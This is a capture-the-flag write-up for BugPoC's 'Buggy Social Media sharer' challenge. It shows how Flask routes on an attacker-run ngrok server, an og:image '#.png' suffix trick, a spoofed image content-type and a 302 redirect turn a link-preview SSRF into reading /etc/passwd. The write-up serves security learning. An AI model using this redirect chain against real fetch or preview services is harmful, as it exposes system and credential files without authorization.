BugPoC's LFI challenge writeup




Buggy Social Media sharer

Given a website : http://social.buggywebsite.com/
The Goal of the challenge is to achieve LFI and steal /etc/passwd
It's a striaght forwarding challenge, by going through the Js, we can see URL card generating functionality
function processUrl(e) {
    requestTime = Date.now(), url = "https://api.buggywebsite.com/website-preview";
    var t = new XMLHttpRequest;
    t.onreadystatechange = function() {
        4 == t.readyState && 200 == t.status ? (response = JSON.parse(t.responseText), populateWebsitePreview(response)) : 4 == t.readyState && 200 != t.status && (console.log(t.responseText), document.getElementById("website-preview").style.display = "none")
    }, t.open("POST", url, !0), t.setRequestHeader("Content-Type", "application/json; charset=UTF-8"), t.setRequestHeader("Accept", "application/json"), data = {
        url: e,
        requestTime: requestTime
    }, t.send(JSON.stringify(data))
}

we can send a link to api server for website priview, which might become a SSRF.
For testing used ngrok, Flask server.
For sending the link to api sever, and checking the result.
from requests import *
import json

def send_to_server(url)
	data = {'url': url, 'requestTime': 1600626399730}
	link = "https://api.buggywebsite.com/website-preview"
	res = post(link, json=data).json()
	print(json.dumps(res, indent = 4)) 

url = "https://83f09872705f.ngrok.io/" #url for web preview
send_to_server(url)
By Giving a normal URL , with empty content.
{
    "title": "",
    "description": "",
    "requestTime": 1600626399730,
    "domain": "83f09872705f.ngrok.io"
}
It's Sending the og data in reverse. Need to check how it deals with.
Changed the HTMl content of server side with ogdata
<html>
<head>
	<meta property="og:title" content="Test title">
	<meta property="og:description" content="Test content">
	<meta property="og:image" content="https://www.gettyimages.in/gi-resources/images/500px/983794168.jpg">
	<title>Test title456</title>
</head>
<body></body>
</html>
Which results in
{
    "title": "Test title",
    "description": "Test content",
    "requestTime": 1600626399730,
    "domain": "83f09872705f.ngrok.io",
    "image": {
        "content": "/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP........",
        "encoded": true,
        "mimetype": "image/jpeg"
    }
}
The API server is fetching the url in og:image, sending it's content (base64 encoded).
Now it makes sense, we some how manage to expliot this funtionality to return `/etc/passwd` content.


Observation - 1

Placed `og:image` = `file:///etc/passwd`.
{
    "title": "Test title",
    "description": "Test content",
    "requestTime": 1600626399730,
    "domain": "83f09872705f.ngrok.io",
    "image": {
        "error": "Invalid Image URL"
    }
}
The URL must `http://` or `https://`.

Observation - 2

Placed og:image = https://OUR-SERVER/image. Still the Invalid URL error. placed a .png at the end. worked. We need to place an image extension at the end on URL. We can use #.png to overcome the check.

Observation - 3

Testing with custom image route.
@app.route('/image',methods = ['GET'])  
def image():
	return "Nice"

@app.route("/meta-data")
def meta_data():
	return '''
<html>
<head>
	<meta property="og:title" content="Test title">
	<meta property="og:description" content="Test content">
	<meta property="og:image" content="https://%s/image#.png">
	<title>Test title456</title>
</head>
<body></body>
</html>
'''%DOMAIN
Which results in
    "image": {
        "error": "Image Failed HEAD Test"
    }
In the server log found "HEAD /image HTTP/1.1" 200 -. The server is checking the headers using HEAD method, may be checking content type header.


Observation - 4

So added the content-type: image/png in response headers.
@app.route('/image',methods = ['GET'])  
def image():
	resp = Response("Nice")
	resp.headers['content-type'] = 'image/png'
	return resp
Which results in
    "image": {
        "error": "Unable to Process Image"
    }
The Server log
"GET /meta-data HTTP/1.1" 200 -
"HEAD /image HTTP/1.1" 302 -
"GET /image HTTP/1.1" 200 -
HEAD check succeded, then fetched the image (GET), Processed it somehow based on image extension.
We need to bypass it, As is based on image extension. We can check all image extenstions.


Observation - 5

By gone through checking extesions, .svg worked for me.
    "image": {
        "content": "Nice",
        "encoded": false,
        "mimetype": "image/svg+xml"
    }
Now we achived a proper SSRF, we can fetch any URL from server side.

Observation - 6

After SSRF, checked all possibilities like cloud meta data urls, any ports on localhost.
But no use
Then checked if an redirect is possible for fetching the image.
@app.route('/landing',methods = ['GET'])
def landing():
	return "Redirection Worked"

@app.route('/image',methods = ['GET'])  
def image():
	resp = Response("Nice", 302)
	resp.headers['content-type'] = 'image/png'
	resp.headers['location'] = '/landing'
	return resp
Which results in
    "image": {
        "content": "Redirection Worked",
        "encoded": false,
        "mimetype": "image/svg+xml"
    }


Finally

Tried to redirect it to file:///etc/passwd. It worked. :)

Payload

Server script :
Client script

Thanks for reading !...

Comments

Popular posts from this blog

Confidence CTF 2020 `Cat web` challenge writeup

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups